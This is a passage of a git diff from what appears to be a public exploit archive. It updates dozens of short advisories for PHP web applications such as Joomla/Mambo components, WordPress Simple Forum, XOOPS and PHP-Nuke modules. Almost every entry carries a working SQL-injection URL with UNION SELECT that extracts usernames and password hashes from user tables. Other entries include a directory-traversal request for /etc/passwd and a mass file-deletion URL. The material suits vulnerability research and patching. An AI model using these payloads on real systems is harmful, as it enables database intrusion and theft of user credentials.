the underlying database. -http://www.example.com/index.php?option=com_smslist&Itemid=99999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_smslist&Itemid=99999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31209.txt b/platforms/php/webapps/31209.txt index 26cdbe4e1..55e27b2c9 100755 --- a/platforms/php/webapps/31209.txt +++ b/platforms/php/webapps/31209.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'faq' component is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=faq&task=viewallfaq&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password),0x3a,0/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=faq&task=viewallfaq&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password),0x3a,0/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31210.txt b/platforms/php/webapps/31210.txt index bf5d10273..422dd2aec 100755 --- a/platforms/php/webapps/31210.txt +++ b/platforms/php/webapps/31210.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Simple Forum 1.10 and 1.11; other versions may also be affected. -http://www.example.com/forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/* \ No newline at end of file +http://www.example.com/forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31211.txt b/platforms/php/webapps/31211.txt index 9f8641e22..6008a79a4 100755 --- a/platforms/php/webapps/31211.txt +++ b/platforms/php/webapps/31211.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Simple Forum 1.7 and 1.9; other versions may also be affected. -http://www.example.com/index.php?pagename=sf-forum&forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,444,555/**/FROM/**/wp_users/* \ No newline at end of file +http://www.example.com/index.php?pagename=sf-forum&forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,444,555/**/FROM/**/wp_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31212.txt b/platforms/php/webapps/31212.txt index 07310d90c..4a310c6a0 100755 --- a/platforms/php/webapps/31212.txt +++ b/platforms/php/webapps/31212.txt @@ -4,4 +4,4 @@ Simple Forum is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/?page_id=xxxx&forum=S@BUN&topic=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,0,0,0,0,0/**/from%2F%2A%2A%2Fwp_users/**where%20id%201%20=%20-1 \ No newline at end of file +http://www.example.com/?page_id=xxxx&forum=S@BUN&topic=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,0,0,0,0,0/**/from%2F%2A%2A%2Fwp_users/**where%20id%201%20=%20-1 \ No newline at end of file diff --git a/platforms/php/webapps/31213.txt b/platforms/php/webapps/31213.txt index 3d4945efd..0de2c166f 100755 --- a/platforms/php/webapps/31213.txt +++ b/platforms/php/webapps/31213.txt @@ -5,4 +5,4 @@ The Joomla! and Mambo 'com_salesrep' component is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_salesrep&action=showrep&Itemid=S@BUN&rid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a, -0x3a/**/from/**/jos_users/* \ No newline at end of file +0x3a/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31214.txt b/platforms/php/webapps/31214.txt index 0e1ce1999..a7ef01b11 100755 --- a/platforms/php/webapps/31214.txt +++ b/platforms/php/webapps/31214.txt @@ -5,4 +5,4 @@ The Joomla! and Mambo 'com_lexikon' component is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_lexikon&id=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_u -sers/* \ No newline at end of file +sers/* \ No newline at end of file diff --git a/platforms/php/webapps/31215.txt b/platforms/php/webapps/31215.txt index dd8a2a840..198957c54 100755 --- a/platforms/php/webapps/31215.txt +++ b/platforms/php/webapps/31215.txt @@ -5,4 +5,4 @@ The Joomla! and Mambo 'com_filebase' component is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_filebase&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(u -sername,0x3a,password)/**/from/**/mos_users/* \ No newline at end of file +sername,0x3a,password)/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31216.txt b/platforms/php/webapps/31216.txt index 12f2e9b64..098623d6b 100755 --- a/platforms/php/webapps/31216.txt +++ b/platforms/php/webapps/31216.txt @@ -5,4 +5,4 @@ The Joomla! and Mambo 'com_scheduling' component is prone to an SQL-injection vu Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_scheduling&Itemid=28&action=viewAbstract&id=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),concat(username,0x3a,password),4,5, -6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/from/**/mos_users/* \ No newline at end of file +6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31217.txt b/platforms/php/webapps/31217.txt index 701e544f6..11cc46906 100755 --- a/platforms/php/webapps/31217.txt +++ b/platforms/php/webapps/31217.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to This issue affects BanPro DMS 1.0; other versions may also be vulnerable. -http://www.example.com/DMS/index.php?action=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/DMS/index.php?action=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/31224.txt b/platforms/php/webapps/31224.txt index 098648d2f..483c77d40 100755 --- a/platforms/php/webapps/31224.txt +++ b/platforms/php/webapps/31224.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_profile' component is prone to an SQL-injection vulne Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_profile&Itemid=s@bun&task=&task=viewoffer&oid=9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_profile&Itemid=s@bun&task=&task=viewoffer&oid=9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31226.txt b/platforms/php/webapps/31226.txt index f6c2a6245..bfcb77559 100755 --- a/platforms/php/webapps/31226.txt +++ b/platforms/php/webapps/31226.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_detail' component is prone to an SQL-injection vulner Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_detail&Itemid=s@bun&id=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C0x3a%2Cpassword%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users%20%2F%2A%2A \ No newline at end of file +http://www.example.com/index.php?option=com_detail&Itemid=s@bun&id=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C0x3a%2Cpassword%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users%20%2F%2A%2A \ No newline at end of file diff --git a/platforms/php/webapps/31227.txt b/platforms/php/webapps/31227.txt index 5d5d69a38..b68875668 100755 --- a/platforms/php/webapps/31227.txt +++ b/platforms/php/webapps/31227.txt @@ -4,4 +4,4 @@ Simple Forum is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/simple-forum/ahah/sf-profile.php?u=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C4%2Cconcat(0x7c,user_login,0x7c,user_pass,0x7c)%2C6%2C7%2C8%2C0x7c%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users \ No newline at end of file +http://www.example.com/wp-content/plugins/simple-forum/ahah/sf-profile.php?u=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C4%2Cconcat(0x7c,user_login,0x7c,user_pass,0x7c)%2C6%2C7%2C8%2C0x7c%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users \ No newline at end of file diff --git a/platforms/php/webapps/31228.txt b/platforms/php/webapps/31228.txt index 04df5b4d8..8d0ddcb69 100755 --- a/platforms/php/webapps/31228.txt +++ b/platforms/php/webapps/31228.txt @@ -4,4 +4,4 @@ The WordPress Recipes Blog plugin is prone to an SQL-injection vulnerability bec Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/recipe/wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users \ No newline at end of file +http://www.example.com/wp-content/plugins/recipe/wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users \ No newline at end of file diff --git a/platforms/php/webapps/31239.txt b/platforms/php/webapps/31239.txt index a81719956..166bed94f 100755 --- a/platforms/php/webapps/31239.txt +++ b/platforms/php/webapps/31239.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to delete all files that have been uploaded to File Upload Manager 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?act=delall \ No newline at end of file +http://www.example.com/[path]/index.php?act=delall \ No newline at end of file diff --git a/platforms/php/webapps/31241.txt b/platforms/php/webapps/31241.txt index 5180d93c1..98c748090 100755 --- a/platforms/php/webapps/31241.txt +++ b/platforms/php/webapps/31241.txt @@ -4,4 +4,4 @@ The PHP-Nuke Sections module is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/xxxxSections&op=viewarticle&artid=-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2 \ No newline at end of file +http://www.example.com/xxxxSections&op=viewarticle&artid=-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2 \ No newline at end of file diff --git a/platforms/php/webapps/31242.txt b/platforms/php/webapps/31242.txt index 4077c56f5..11cd667cf 100755 --- a/platforms/php/webapps/31242.txt +++ b/platforms/php/webapps/31242.txt @@ -4,4 +4,4 @@ Facile Forms is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_facileforms&Itemid=640&user_id=107&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_facileforms&Itemid=640&user_id=107&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31243.txt b/platforms/php/webapps/31243.txt index e27c4c348..e61a122e7 100755 --- a/platforms/php/webapps/31243.txt +++ b/platforms/php/webapps/31243.txt @@ -4,4 +4,4 @@ The 'com_team' component for Joomla! and Mambo is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_team&gid=-1/**/union/**/select/**/1,2,3,password,5,6,7,8,9,10,username,12,13/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_team&gid=-1/**/union/**/select/**/1,2,3,password,5,6,7,8,9,10,username,12,13/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31244.txt b/platforms/php/webapps/31244.txt index 7ef170cfe..d63951cb5 100755 --- a/platforms/php/webapps/31244.txt +++ b/platforms/php/webapps/31244.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_iigcatalog' component is prone to an SQL-injection vu Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_iigcatalog&Itemid=56&act=viewCat&cat=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_iigcatalog&Itemid=56&act=viewCat&cat=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31245.txt b/platforms/php/webapps/31245.txt index 5f9d9f63a..c6cc8c8f7 100755 --- a/platforms/php/webapps/31245.txt +++ b/platforms/php/webapps/31245.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_formtool' component is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_formtool&task=view&formid=2&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_formtool&task=view&formid=2&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31246.txt b/platforms/php/webapps/31246.txt index 7e2e22cf1..9c51f42b7 100755 --- a/platforms/php/webapps/31246.txt +++ b/platforms/php/webapps/31246.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_genealogy' component is prone to an SQL-injection vul Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_genealogy&task=profile&id=-9999999/**/union/**/select/**/0,0x3a,2,0x3a,0x3a,5,0x3a,0x3a,8,concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_genealogy&task=profile&id=-9999999/**/union/**/select/**/0,0x3a,2,0x3a,0x3a,5,0x3a,0x3a,8,concat(username,0x3a,password)/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31247.txt b/platforms/php/webapps/31247.txt index 89d9f284c..3d2fececa 100755 --- a/platforms/php/webapps/31247.txt +++ b/platforms/php/webapps/31247.txt @@ -4,4 +4,4 @@ iJoomla 'com_magazine' component is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_magazine&task=guide&id=21&page=7&pageid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,111,222,333,444,555/**/from/**/jos_users/** \ No newline at end of file +http://www.example.com/index.php?option=com_magazine&task=guide&id=21&page=7&pageid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,111,222,333,444,555/**/from/**/jos_users/** \ No newline at end of file diff --git a/platforms/php/webapps/31248.txt b/platforms/php/webapps/31248.txt index 8de9ab682..d938f7ea1 100755 --- a/platforms/php/webapps/31248.txt +++ b/platforms/php/webapps/31248.txt @@ -4,4 +4,4 @@ XOOPS 'vacatures' module is prone to an SQL-injection vulnerability because it f Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules/vacatures/index.php?pa=view&cid=-00000/**/union/**/select/**/0000,concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/**where%20admin%20-111 \ No newline at end of file +http://www.example.com/modules/vacatures/index.php?pa=view&cid=-00000/**/union/**/select/**/0000,concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/**where%20admin%20-111 \ No newline at end of file diff --git a/platforms/php/webapps/31249.txt b/platforms/php/webapps/31249.txt index 7e374e4e8..453ebfeb8 100755 --- a/platforms/php/webapps/31249.txt +++ b/platforms/php/webapps/31249.txt @@ -4,4 +4,4 @@ The XOOPS 'events' module is prone to an SQL-injection vulnerability because it Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules/events/index.php?op=show&id=-6666+union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from/**/xoops_users/*where%20admin%20-111 \ No newline at end of file +http://www.example.com/modules/events/index.php?op=show&id=-6666+union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from/**/xoops_users/*where%20admin%20-111 \ No newline at end of file diff --git a/platforms/php/webapps/31250.txt b/platforms/php/webapps/31250.txt index 4a48a4421..495a960eb 100755 --- a/platforms/php/webapps/31250.txt +++ b/platforms/php/webapps/31250.txt @@ -4,4 +4,4 @@ The XOOPS 'seminars' module is prone to an SQL-injection vulnerability because i Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules/seminars/index.php?op=show&id=-77777/**/union/**/select/**/0x3a,0x3a,0x3a,0x3a,uname,pass,0x3a,0x3a,0x3a/**/from/**/xoops_users/*where%20admin \ No newline at end of file +http://www.example.com/modules/seminars/index.php?op=show&id=-77777/**/union/**/select/**/0x3a,0x3a,0x3a,0x3a,uname,pass,0x3a,0x3a,0x3a/**/from/**/xoops_users/*where%20admin \ No newline at end of file diff --git a/platforms/php/webapps/31251.txt b/platforms/php/webapps/31251.txt index c13dd2183..b3613417e 100755 --- a/platforms/php/webapps/31251.txt +++ b/platforms/php/webapps/31251.txt @@ -4,4 +4,4 @@ The XOOPS 'badliege' module is prone to an SQL-injection vulnerability because i Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules/badliege/index.php?op=show&id=-9999999/**/union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from+xoops_users/*where%20admin%20-5 \ No newline at end of file +http://www.example.com/modules/badliege/index.php?op=show&id=-9999999/**/union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from+xoops_users/*where%20admin%20-5 \ No newline at end of file diff --git a/platforms/php/webapps/31252.txt b/platforms/php/webapps/31252.txt index 44e0de921..1e25e3f62 100755 --- a/platforms/php/webapps/31252.txt +++ b/platforms/php/webapps/31252.txt @@ -4,4 +4,4 @@ The PHP-Nuke Web_Links module is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(aid,0x3a,pwd),char(111,112,101,114,110,97,108,101,51)/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201=%202 \ No newline at end of file +http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(aid,0x3a,pwd),char(111,112,101,114,110,97,108,101,51)/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201=%202 \ No newline at end of file diff --git a/platforms/php/webapps/31270.txt b/platforms/php/webapps/31270.txt index b86f74c5e..6c968731f 100755 --- a/platforms/php/webapps/31270.txt +++ b/platforms/php/webapps/31270.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The issues affect Spyce 2.1.3; other versions may also be vulnerable. Requesting the following URL returns the server's webroot: -http://www.example.com/spyce/examples/automaton.spy \ No newline at end of file +http://www.example.com/spyce/examples/automaton.spy \ No newline at end of file diff --git a/platforms/php/webapps/31272.txt b/platforms/php/webapps/31272.txt index ae0d82dc1..38b8b4297 100755 --- a/platforms/php/webapps/31272.txt +++ b/platforms/php/webapps/31272.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_joomlavvz' component is prone to an SQL-injection vul Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_joomlavvz&Itemid=34&func=detail&id=-9999999+union/**/select+0x3a,0x3a,password,0,0,0,0,0,0,0,0,0x3a,0x3a,0x3a,0x3a,username/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_joomlavvz&Itemid=34&func=detail&id=-9999999+union/**/select+0x3a,0x3a,password,0,0,0,0,0,0,0,0,0x3a,0x3a,0x3a,0x3a,username/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31273.txt b/platforms/php/webapps/31273.txt index 3cfaec2d7..2fb11313f 100755 --- a/platforms/php/webapps/31273.txt +++ b/platforms/php/webapps/31273.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_most' component is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_most&mode=email&secid=-9999999/**/union/**/select/**/0000,concat(username,0x3a,password),2222,3333/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_most&mode=email&secid=-9999999/**/union/**/select/**/0000,concat(username,0x3a,password),2222,3333/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31274.txt b/platforms/php/webapps/31274.txt index 7204fa1e7..6559689f6 100755 --- a/platforms/php/webapps/31274.txt +++ b/platforms/php/webapps/31274.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_asortyment' component is prone to an SQL-injection vu Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_asortyment&Itemid=36&lang=pl&task=kat&katid=-9999999/**/union/**/select/**/0x3a,concat(username,0x3a,password),concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_asortyment&Itemid=36&lang=pl&task=kat&katid=-9999999/**/union/**/select/**/0x3a,concat(username,0x3a,password),concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31278.txt b/platforms/php/webapps/31278.txt index e747f34b2..a7bff689c 100755 --- a/platforms/php/webapps/31278.txt +++ b/platforms/php/webapps/31278.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected. -http://www.example.com/GradebookStuScores.asp?GrdBk=SQL \ No newline at end of file +http://www.example.com/GradebookStuScores.asp?GrdBk=SQL \ No newline at end of file diff --git a/platforms/php/webapps/31280.txt b/platforms/php/webapps/31280.txt index 7a3073eb8..ef84b97ff 100755 --- a/platforms/php/webapps/31280.txt +++ b/platforms/php/webapps/31280.txt @@ -5,4 +5,4 @@ The Joomla! and Mambo Referenzen component is prone to an SQL-injection vulnerab Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/index.php?option=com_referenzen&Itemid=7&detail=-9999999+union/**/select/**/0x3a,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,concat(user -name,0x3a,password),0,0,0,0,0/**/from/**/jos_users/* \ No newline at end of file +name,0x3a,password),0,0,0,0,0/**/from/**/jos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31281.txt b/platforms/php/webapps/31281.txt index e3bb906dc..aa68f4d54 100755 --- a/platforms/php/webapps/31281.txt +++ b/platforms/php/webapps/31281.txt @@ -4,4 +4,4 @@ The Classifieds module for PHP-Nuke is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules.php?name=Classifieds&mode=Details&id=-0000/**/union+select/**/000,111,222,000,aid,5,6,pwd,8,9,10,11/**/from/**/nuke_authors/*where%20admin%202%20-4 \ No newline at end of file +http://www.example.com/modules.php?name=Classifieds&mode=Details&id=-0000/**/union+select/**/000,111,222,000,aid,5,6,pwd,8,9,10,11/**/from/**/nuke_authors/*where%20admin%202%20-4 \ No newline at end of file diff --git a/platforms/php/webapps/31282.txt b/platforms/php/webapps/31282.txt index 5b49864b4..ff7a8d1d3 100755 --- a/platforms/php/webapps/31282.txt +++ b/platforms/php/webapps/31282.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects Tiny Event 1.01; other versions may also be vulnerable. -http://www.example.com/modules/tinyevent/index.php?op=print&id=-0/**/union/**/select+0x3a,0x3a,0x3a,uname,pass+from/**/xoops_users/*where%20admin%201%200%2066 \ No newline at end of file +http://www.example.com/modules/tinyevent/index.php?op=print&id=-0/**/union/**/select+0x3a,0x3a,0x3a,uname,pass+from/**/xoops_users/*where%20admin%201%200%2066 \ No newline at end of file diff --git a/platforms/php/webapps/31284.txt b/platforms/php/webapps/31284.txt index cb4cad237..4b7a1886f 100755 --- a/platforms/php/webapps/31284.txt +++ b/platforms/php/webapps/31284.txt @@ -4,4 +4,4 @@ XOOPS 'prayerlist' module is prone to an SQL-injection vulnerability because it Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/modules/prayerlist/index.php?pa=view&cid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass)/**/from/**/xoops_users/* \ No newline at end of file +http://www.example.com/modules/prayerlist/index.php?pa=view&cid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass)/**/from/**/xoops_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31287.txt b/platforms/php/webapps/31287.txt index db428add0..eaa66e618 100755 --- a/platforms/php/webapps/31287.txt +++ b/platforms/php/webapps/31287.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Recipe 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/modules.php?name=Recipe&recipeid=-000/**/union+select+0,pwd,0,0x3a,0x3a,0,aid,aid,pwd,0,0,0,0,0x3a,0,0/**/from/**/nuke_authors/* \ No newline at end of file +http://www.example.com/modules.php?name=Recipe&recipeid=-000/**/union+select+0,pwd,0,0x3a,0x3a,0,aid,aid,pwd,0,0,0,0,0x3a,0,0/**/from/**/nuke_authors/* \ No newline at end of file diff --git a/platforms/php/webapps/31288.txt b/platforms/php/webapps/31288.txt index 5500bebbc..c63ee2c8b 100755 --- a/platforms/php/webapps/31288.txt +++ b/platforms/php/webapps/31288.txt @@ -4,4 +4,4 @@ The Joomla! and Mambo 'com_hello_world' component is prone to an SQL-injection v Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_hello_world&Itemid=27&task=show&type=intro&id=-9999999/**/union/**/select/**/0x3a,username,password,0x3a/**/from/**/mos_users/* \ No newline at end of file +http://www.example.com/index.php?option=com_hello_world&Itemid=27&task=show&type=intro&id=-9999999/**/union/**/select/**/0x3a,username,password,0x3a/**/from/**/mos_users/* \ No newline at end of file diff --git a/platforms/php/webapps/31289.txt b/platforms/php/webapps/31289.txt index 0cb66457b..d1ad37170 100755 --- a/platforms/php/webapps/31289.txt +++ b/platforms/php/webapps/31289.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Gallery 1.3 is vulnerable; other versions may also be affected. -http://www.example.com/modules.php?name=Sections&sop=printpage&artid=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/** \ No newline at end of file +http://www.example.com/modules.php?name=Sections&sop=printpage&artid=-9999999/**/union/**/select/**/pwd,aid/**/from/**/nuke_authors/*where%20admin1/** \ No newline at end of file diff --git a/platforms/php/webapps/31290.txt b/platforms/php/webapps/31290.txt index f3daa024c..24172c00c 100755 --- a/platforms/php/webapps/31290.txt +++ b/platforms/php/webapps/31290.txt @@ -4,4 +4,4 @@ auraCMS is prone to an SQL-injection vulnerability because it fails to sufficien Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?pilih=lihatberita&id=-9999999/**/union/**/select/**/0,1,password,3,4,user,6/**/from/**/user/*where%20admin1/** \ No newline at end of file 